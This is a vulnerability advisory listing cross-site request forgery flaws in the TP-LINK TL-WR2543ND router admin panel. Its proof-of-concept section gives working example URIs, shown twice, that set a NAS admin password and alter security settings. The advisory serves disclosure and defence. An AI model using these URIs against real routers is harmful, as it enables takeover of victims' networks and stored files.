TP-LINK TL-WR2543ND Admin Panel Multiple Cross Site Request Forgery Vulnerabilities
BID:57877
Info
TP-LINK TL-WR2543ND Admin Panel Multiple Cross Site Request Forgery Vulnerabilities
| Bugtraq ID: | 57877 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 08 2013 12:00AM |
| Updated: | Feb 08 2013 12:00AM |
| Credit: | Juan Manuel Garcia |
| Vulnerable: |
TP-LINK TL-WR2543ND 3.13.6 Build 110923 |
| Not Vulnerable: | |
Discussion
Exploit / POC
TP-LINK TL-WR2543ND Admin Panel Multiple Cross Site Request Forgery Vulnerabilities
An attacker can exploit these issues by enticing an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/userRpm/NasUserAdvRpm.htm?nas_admin_pwd=hacker&nas_admin_confirm_pwd=hacker&nas_admin_authority=1&nas_admin_ftp=1&Modify=1&Save=Save
http://www.example.com/userRpm/BasicSecurityRpm.htm?stat=983040&Save=Save
An attacker can exploit these issues by enticing an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/userRpm/NasUserAdvRpm.htm?nas_admin_pwd=hacker&nas_admin_confirm_pwd=hacker&nas_admin_authority=1&nas_admin_ftp=1&Modify=1&Save=Save
http://www.example.com/userRpm/BasicSecurityRpm.htm?stat=983040&Save=Save